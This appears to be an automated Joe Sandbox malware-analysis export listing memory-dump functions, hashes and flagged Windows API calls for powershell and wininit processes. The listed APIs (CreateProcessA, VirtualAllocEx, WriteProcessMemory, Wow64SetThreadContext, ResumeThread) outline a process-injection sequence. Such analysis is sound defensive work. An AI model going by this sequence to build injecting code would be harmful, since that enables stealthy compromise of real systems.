Source File: 00000006.00000002.387070327.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_350000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4'p$4'p$|:-
API String ID: 0-3489018080
Opcode ID: 8d7cb821ee4c2cf68d4ee5ddf5ada0fe244bba1c29ceeffd1f9e36182f75af28
Instruction ID: dbe5f2a24e388551bc582e4e28e753dcd399ba654c6587d3c9320006a9362eed
Opcode Fuzzy Hash: 8d7cb821ee4c2cf68d4ee5ddf5ada0fe244bba1c29ceeffd1f9e36182f75af28
Instruction Fuzzy Hash: A0911731B042408FCB6A9F78C410F6ABBA1AFC5312F2980ABD945CB265DB71CD89C791

Function 00351588 Relevance: 5.2, Strings: 4, Instructions: 176COMMON

Download Yara Rule

Strings

$p, xrefs: 003516CE
$p, xrefs: 003516E6
0;-, xrefs: 003515BA
$p, xrefs: 003516F2

Memory Dump Source

Source File: 00000006.00000002.387070327.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_350000_powershell.jbxd

Similarity

API ID:
String ID: 0;-$$p$$p$$p
API String ID: 0-2097746193
Opcode ID: 2e8abf73f78a9cc9e896cf41d97d7a4b5103e54d6a5ba55929e0fe183a5f8519
Instruction ID: 4d2ad9ed9e698c537a81de07307ec8a19a43fcfa68f0fe04c309cc05c82d9cce
Opcode Fuzzy Hash: 2e8abf73f78a9cc9e896cf41d97d7a4b5103e54d6a5ba55929e0fe183a5f8519
Instruction Fuzzy Hash: 305102357043418FC7264A699420F7ABBA6AFC6322B2E847BDD45CB265EE71CC49D321

Analysis Process: wininit.exePID: 3868, Parent PID: 3488COMMON

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	90
Total number of Limit Nodes:	8

Executed Functions

Function 001C1047 Relevance: 18.4, Strings: 14, Instructions: 871
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

=, xrefs: 001C121B
E, xrefs: 001C1846
, xrefs: 001C13BC
&, xrefs: 001C17FE
&, xrefs: 001C18FE
9, xrefs: 001C1222
_, xrefs: 001C1741
j, xrefs: 001C1AEA
x, xrefs: 001C1B47
, xrefs: 001C12B9
$p, xrefs: 001C15F9
7, xrefs: 001C1A10
C, xrefs: 001C131E
E, xrefs: 001C1737

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID:
String ID: $ $&$&$7$9$=$C$E$E$_$j$x$$p
API String ID: 0-468349182
Opcode ID: 495062f14521fa0dcfe6f49d719793313f376a12b98163bbef8db821146f15f9
Instruction ID: 26f1cb23581397c40a8ece0ec81101d87a9f5e7abed5ee4e25c1032862b46a65
Opcode Fuzzy Hash: 495062f14521fa0dcfe6f49d719793313f376a12b98163bbef8db821146f15f9
Instruction Fuzzy Hash: 09825930A00705CFC755EF78C854BADB7B2BFAA300F5186ADE449AB361DB71A985CB41

Function 001C04C0 Relevance: 18.3, Strings: 14, Instructions: 838
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

=, xrefs: 001C121B
E, xrefs: 001C1846
, xrefs: 001C13BC
&, xrefs: 001C17FE
&, xrefs: 001C18FE
9, xrefs: 001C1222
_, xrefs: 001C1741
j, xrefs: 001C1AEA
x, xrefs: 001C1B47
, xrefs: 001C12B9
$p, xrefs: 001C15F9
7, xrefs: 001C1A10
C, xrefs: 001C131E
E, xrefs: 001C1737

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID:
String ID: $ $&$&$7$9$=$C$E$E$_$j$x$$p
API String ID: 0-468349182
Opcode ID: e23cdeedd3878a7813609d005517d547403c0c9b6ecfada1bef2ffce373e6311
Instruction ID: 9195e4e9096cb77178722a76ae02c6a1e1cccf6b1bca549fb7593b0438ba52e1
Opcode Fuzzy Hash: e23cdeedd3878a7813609d005517d547403c0c9b6ecfada1bef2ffce373e6311
Instruction Fuzzy Hash: CF824930A00705CFC755EF78C854BAEB7B2BF99300F5186ADE44AAB361DB71A985CB41

Function 001C108F Relevance: 18.3, Strings: 14, Instructions: 830
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

=, xrefs: 001C121B
E, xrefs: 001C1846
, xrefs: 001C13BC
&, xrefs: 001C17FE
&, xrefs: 001C18FE
9, xrefs: 001C1222
_, xrefs: 001C1741
j, xrefs: 001C1AEA
x, xrefs: 001C1B47
, xrefs: 001C12B9
$p, xrefs: 001C15F9
7, xrefs: 001C1A10
C, xrefs: 001C131E
E, xrefs: 001C1737

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID:
String ID: $ $&$&$7$9$=$C$E$E$_$j$x$$p
API String ID: 0-468349182
Opcode ID: c653383619d36f3952f8a07f9ae1206cebe241d382f4d013e92987ab59acd7fb
Instruction ID: bf9a1cee1c750a748ec803d5605269ba4d0208d90235b4017253d115f447cad8
Opcode Fuzzy Hash: c653383619d36f3952f8a07f9ae1206cebe241d382f4d013e92987ab59acd7fb
Instruction Fuzzy Hash: A2823830A00B05CFC755EB78C854BADB7B2BFA9300F5186ADE449AB361DB71A985CF41

Function 001C2808 Relevance: 5.6, Strings: 4, Instructions: 562
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pp, xrefs: 001C2C8D
~, xrefs: 001C2A26
:, xrefs: 001C2A87
4'p, xrefs: 001C2BC4

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID:
String ID: 4'p$:$pp$~
API String ID: 0-1820105848
Opcode ID: 4db3922b066f6ec9c200003f0b7e59de64677064c5e1e42b1081a80cdb732643
Instruction ID: 15988083dba95528919756eb2773242049a3f70a67c7195c82040e318e20e147
Opcode Fuzzy Hash: 4db3922b066f6ec9c200003f0b7e59de64677064c5e1e42b1081a80cdb732643
Instruction Fuzzy Hash: 5C42C175A00228DFDB19CFA8C984F99BBB2BF59304F1580E9E509AB261DB31DD91DF10

Function 001CE0F4 Relevance: 1.8, APIs: 1, Instructions: 328
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 001CE3C7

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: fb8ef25c39a8426d49c96558dbdcc67f4ef39250c525b4186ac8c008dec7c5c7
Instruction ID: 6a8cd089efaaa2b2116839aaad8e01f6dd308565e32d6813dde793a02d445759
Opcode Fuzzy Hash: fb8ef25c39a8426d49c96558dbdcc67f4ef39250c525b4186ac8c008dec7c5c7
Instruction Fuzzy Hash: 3DC13670D002598FDF24CFA8C845BEEBBF1BB59300F0095AAE459B7250DB749A85CF95

Function 001CE100 Relevance: 1.8, APIs: 1, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 001CE3C7

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7b86d86e482b9cb3c15f692f3e92022d492d867b1a4a1ffd7259f3f28ec106e0
Instruction ID: 6315d00ac2e44a086789b85c48fb16be299881cb5827b049d3b3a63db641946f
Opcode Fuzzy Hash: 7b86d86e482b9cb3c15f692f3e92022d492d867b1a4a1ffd7259f3f28ec106e0
Instruction Fuzzy Hash: 99C12670D002598FDF24CFA8C845BEEBBF1BB59304F0095AAE419B7250DB749A85CF95

Function 001CDD61 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 001CDE3B

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 138869b8b5061fa6daf39c78eabb327ab4eda3cec4e03e1bd306aaec62e924d7
Instruction ID: 00a1a31bd187bee057f871d9ebd65609c6ff0ed61cd27ee9ae0280a6577b211b
Opcode Fuzzy Hash: 138869b8b5061fa6daf39c78eabb327ab4eda3cec4e03e1bd306aaec62e924d7
Instruction Fuzzy Hash: BD41BAB4D012489FCF10CFA9D984AEEFBF1BB49310F20942AE815BB250D334AA45CF64

Function 001CDD68 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 001CDE3B

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c04486745d0e53a26739b85140a67bc717d140d3b74a72918c5a80ebea55d3fd
Instruction ID: 41341d5c6a2cb499b3cd46717ff2cd1909fb527178fb9e2a8d37aceba373f2d5
Opcode Fuzzy Hash: c04486745d0e53a26739b85140a67bc717d140d3b74a72918c5a80ebea55d3fd
Instruction Fuzzy Hash: A241A9B5D012589FCF00CFA9D984AEEFBF1BB49314F20942AE814BB250D334AA45CF64

Function 001CDEC1 Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 001CDF7A

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 820be3d30b09cf403fa66a6fd1e27a5292b4ab3d6086d9f7b3ce867542d83814
Instruction ID: 891e0d68b89e80b8cffd7139cc9935bce2cb05efcbf0a760905207ee898219d6
Opcode Fuzzy Hash: 820be3d30b09cf403fa66a6fd1e27a5292b4ab3d6086d9f7b3ce867542d83814
Instruction Fuzzy Hash: 4541CCB4D042589FCF10CFA9E984AEEFBB1BF59310F10942AE815B7250C735A946CF65

Function 001CDEC8 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 001CDF7A

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 320ada3422172dfc1325724dfc380f86f39dd9d53b0f68722202c93532f75b70
Instruction ID: 5122a9881082d3a4a83911e9a1dd31c65ed26f686971ebd47ea2d475d4b67574
Opcode Fuzzy Hash: 320ada3422172dfc1325724dfc380f86f39dd9d53b0f68722202c93532f75b70
Instruction Fuzzy Hash: 4741ABB5D002589FCF10CFA9E984AEEFBB1BF49310F10942AE815B7210D735A945CF65

Function 001CDC39 Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 001CDCEA

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6a4cb5e8c090ee97433e7fd808c85ff755a71d794459051b241b660ce11942e7
Instruction ID: af411370adafe679425a4fc354671f497e1473966ee88d5164c278825448abf3
Opcode Fuzzy Hash: 6a4cb5e8c090ee97433e7fd808c85ff755a71d794459051b241b660ce11942e7
Instruction Fuzzy Hash: E441A9B8D002489FCF10CFA9E984AEEFBB1BF49310F20942AE815BB250D735A945CF54

Function 001CDC40 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 001CDCEA

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 44b412539b8422822088032756ab666989fe259675337357af00a944ac8e2cf9
Instruction ID: 8e3c7743f4cd30234cd632edd9b0efdc42e940cf060e6457551169735144c1fa
Opcode Fuzzy Hash: 44b412539b8422822088032756ab666989fe259675337357af00a944ac8e2cf9
Instruction Fuzzy Hash: F74199B8D002589FCF10CFA9E984AEEFBB1BB49310F10942AE815B7314D735A945CF65

Function 001CDB08 Relevance: 1.6, APIs: 1, Instructions: 98
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 001CDBBF

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: be4c6220c232307cb3fc5eca830b046f1834e582061df3ad22865a34d8909ebc
Instruction ID: b808c5d449da6f9f67aa509a30b9240c5f81afa3499de2548252a226a7ee9f55
Opcode Fuzzy Hash: be4c6220c232307cb3fc5eca830b046f1834e582061df3ad22865a34d8909ebc
Instruction Fuzzy Hash: A441BCB5D002589FCB14CFA9D984AEEFBB1BF49314F24842AE418B7240D779A949CF54

Function 001CDB10 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 001CDBBF

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 14b288f12469159546cf5f97725ad0c9e091594b423a9e283df7bfd0a8c0cc10
Instruction ID: fed38ebb0bbb323c037f5dfd00a84fee26c796d6f09789294b9985fcbb16f3f3
Opcode Fuzzy Hash: 14b288f12469159546cf5f97725ad0c9e091594b423a9e283df7bfd0a8c0cc10
Instruction Fuzzy Hash: B041ABB4D002589FCF14CFA9D984AEEFBB1BF49314F24842AE418B7244D778A989CF54

Function 001CD5E1 Relevance: 1.6, APIs: 1, Instructions: 78
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 001CD666

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ac7b1e18103cf1e28f3c50ce7f7dc1b8b93513077a25a6cbae91016b582b54bb
Instruction ID: 10988046d04492ceba9f9f9de3b77617e17048fe93e791cd612766d422ca7bf4
Opcode Fuzzy Hash: ac7b1e18103cf1e28f3c50ce7f7dc1b8b93513077a25a6cbae91016b582b54bb
Instruction Fuzzy Hash: 2431CAB4D002189FCF14CFA9E984AEEFBB1AF49314F24852AE819B7340C735A945CF94

Function 001CD5E8 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 001CD666

Memory Dump Source

Source File: 0000000D.00000002.388442945.00000000001C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_wininit.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 412f2bde841be854938bf8d26ead360c7338a8295f2c544ccb067bb40a077835
Instruction ID: 1b5d4d2d31fb196ea74e23729a042780e52424ac51d3b217f5b48db858fdb73f
Opcode Fuzzy Hash: 412f2bde841be854938bf8d26ead360c7338a8295f2c544ccb067bb40a077835
Instruction Fuzzy Hash: 2E31CBB4D002189FCF14CFA9E984AEEFBB5AF49314F24942AE818B7300D735A905CF94

Function 00D4081F Relevance: 1.3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

Strings

(, xrefs: 00D4063F

Memory Dump Source

Source File: 0000000D.00000002.391633296.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d40000_wininit.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 33a3750f93458da8369c286b4e2dac6f969af9164b7019b1b156f3881ddf7e76
Instruction ID: 5a4262b9034e04ae367f0e92f1bd4cd48aa78ae09059afc7d4c14fbae58e216a
Opcode Fuzzy Hash: 33a3750f93458da8369c286b4e2dac6f969af9164b7019b1b156f3881ddf7e76
Instruction Fuzzy Hash: 50F0CF35909218DFDB20CF54C884FE8BBB8EB49314F2491D9D54DA3252C7319E81DF20

Function 00D40189 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.391633296.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d40000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27a0084df2b56a8e3682ad3ac6f6c8d719ec430acce88125880e329250d550ca
Instruction ID: 55d372f0fa7aa58d0e5be9b98f5d7999179b68cbf43afd49cc07e6d15280195d
Opcode Fuzzy Hash: 27a0084df2b56a8e3682ad3ac6f6c8d719ec430acce88125880e329250d550ca
Instruction Fuzzy Hash: 66410635D4431ADFCB64CF55CC80BE8BBB5AF99300F2492EA9609A6241EB709AC5DF50

Function 00D40112 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.391633296.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d40000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3795e966769af2014b4cb60390f308fef39c216c01eb3f8e3939a8c766fa631
Instruction ID: e2492ba57c95e5639fe9342d1424b754d2fd3ddb683c5e54dd4b2ed8dfd1ddd6
Opcode Fuzzy Hash: f3795e966769af2014b4cb60390f308fef39c216c01eb3f8e3939a8c766fa631
Instruction Fuzzy Hash: 2541D074944229CFCB61CF54C884BECBBB5BB59304F2081EAD64AA7291DBB09AC4DF54

Function 0017D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.388136993.000000000017D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0017D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_17d000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beb76c4d60702b41a609ea54fc4035f76556518fbf36b79c98eb8887dfabdd98
Instruction ID: 46e9946be57261d5209dbc6b84a9c910d9bf55ea884654932b9c3cc7d8bb4c1b
Opcode Fuzzy Hash: beb76c4d60702b41a609ea54fc4035f76556518fbf36b79c98eb8887dfabdd98
Instruction Fuzzy Hash: 3521B0B5604248AFDB15DF14E9C0B26BBB5EF84314F24C5A9E8494B256C336D847CB61

Function 0017D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.388136993.000000000017D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0017D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_17d000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 659ad353138d2fc52e4a4cdc4f3cdf7cedde829496efcee78784a3866059a938
Instruction ID: d164b459a808e4dc30d8f9d11a3c02c5438a412f86134e511d9242d1057f6da0
Opcode Fuzzy Hash: 659ad353138d2fc52e4a4cdc4f3cdf7cedde829496efcee78784a3866059a938
Instruction Fuzzy Hash: B321D075604248EFDB15CF14E884B26BB71EF84314F34C5A9E84D4B246C336D847CBA1

Function 00D40280 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.391633296.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d40000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78dc8a11e792c787fa8c835a42ff3b4f6ba31acb3b87011a41692ebea2d134c5
Instruction ID: 0683204acf4988e36b3da49cf01cb5ab392277ad8170287b41cf6faee162413c
Opcode Fuzzy Hash: 78dc8a11e792c787fa8c835a42ff3b4f6ba31acb3b87011a41692ebea2d134c5
Instruction Fuzzy Hash: 96210734D08218CFDF64CF94C880BEDBBB5FB89304F2490A9D649AB291D7359A85DF50

Function 0017D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.388136993.000000000017D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0017D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_17d000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 565f75d38e4f7350f063d62ce24505424e1b395d29b5c826c31e1f917094453a
Instruction ID: ce486fcf9abe6ec95ceb8dbf38f3db559b2253b8cea6385595494ee791a13ebc
Opcode Fuzzy Hash: 565f75d38e4f7350f063d62ce24505424e1b395d29b5c826c31e1f917094453a
Instruction Fuzzy Hash: 92218B755093848FDB12CF24D994B15BF71EF46314F28C5EAD8498F2A7C33A984ACB62

Function 0017D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.388136993.000000000017D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0017D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_17d000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction ID: 0041194c1817ab7fc62789af46a91491cb852afa837990730b6338af1206f0ea
Opcode Fuzzy Hash: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction Fuzzy Hash: 3F117975944284DFDB12CF14D5C4B15BBB1FF84314F28C6A9D8494B656C33AD84ACBA2

Function 00D4043B Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.391633296.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d40000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac127bdd2dfa19579eb99ce478c5439b9324826aba7934528e17d6b32e83720f
Instruction ID: 8f978b665e88b76d9b45794c7b3283ff2cc3647c82cede6014a8580bd2061a16
Opcode Fuzzy Hash: ac127bdd2dfa19579eb99ce478c5439b9324826aba7934528e17d6b32e83720f
Instruction Fuzzy Hash: 61116038808254CFCB14CF24C988BE8BBB0FB89315F1491EB844DA7291C7359B85DF60

Function 00D404D0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.391633296.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d40000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d7cee00ee394d9b9b9a487d2e88cefe58150634158f20318aa451ca1df8514f
Instruction ID: 2e3aa65d3d0acb0129ab70864fb34831096aa7da8d012cd3d6291ef9990dee0e
Opcode Fuzzy Hash: 8d7cee00ee394d9b9b9a487d2e88cefe58150634158f20318aa451ca1df8514f
Instruction Fuzzy Hash: E701D2B5904218CFCB14DF58C881BECBBF8AB4D300F148499D60DE7281C3709A85CF54

Function 00D40E68 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.391633296.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d40000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b623d3c699b5cc9e9051f19fdbd8ea03ef26cfe3241582b3c42d3b232976db79
Instruction ID: b6f545d86f6bd745ed435c1eb597b20e59a6c04651c2e3b6f33b3597a3fde7f4
Opcode Fuzzy Hash: b623d3c699b5cc9e9051f19fdbd8ea03ef26cfe3241582b3c42d3b232976db79
Instruction Fuzzy Hash: 71F0A4B4E002099FDB40DFA9D9405AEFBF5EB89300F1499AA9958E3344E7319A51DF90

Function 00D4070F Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.391633296.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d40000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55eea9914f471042d069419583d33e6dc6dd8a969a581cbe1be75f9192d4d2c5
Instruction ID: b598a473fdd6f849493737cf3e96b1a0f01f03f73d6e2df1375510141d9562be
Opcode Fuzzy Hash: 55eea9914f471042d069419583d33e6dc6dd8a969a581cbe1be75f9192d4d2c5
Instruction Fuzzy Hash: A8F01431908228DFCB61CFA4C884BE9BBB1AB49310F6440EA9549A7291C7359A96DF50

Function 00D40645 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.391633296.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d40000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80a0c0d333ef85b5fb90b696a9a9bf3299e329cf90c12b6c99520660c25ec282
Instruction ID: b0d1fb8944888e49d6152728fd2f0ea987944b8f419453a800b458b4ffd99776
Opcode Fuzzy Hash: 80a0c0d333ef85b5fb90b696a9a9bf3299e329cf90c12b6c99520660c25ec282
Instruction Fuzzy Hash: 34F03478800328CFCB24CF64CD54BD8BBB0BB85311F1481EA891AA7391D7309E86CFA0

Function 00D4048D Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.391633296.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d40000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d861493900f91d4c92e2c641ffe8cd68cfc560db73434f11f9b2c57fa0c5a62
Instruction ID: 6be04d5d800751112a131311e7b1158f491fc032a2c34bc63ef4fc93943d0c2b
Opcode Fuzzy Hash: 5d861493900f91d4c92e2c641ffe8cd68cfc560db73434f11f9b2c57fa0c5a62
Instruction Fuzzy Hash: 03F0B275904218CFDBA0CF54C884BECBBB4BB49301F6080EAD90DA7251C731AE85CF54

Function 00D402B4 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.391633296.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

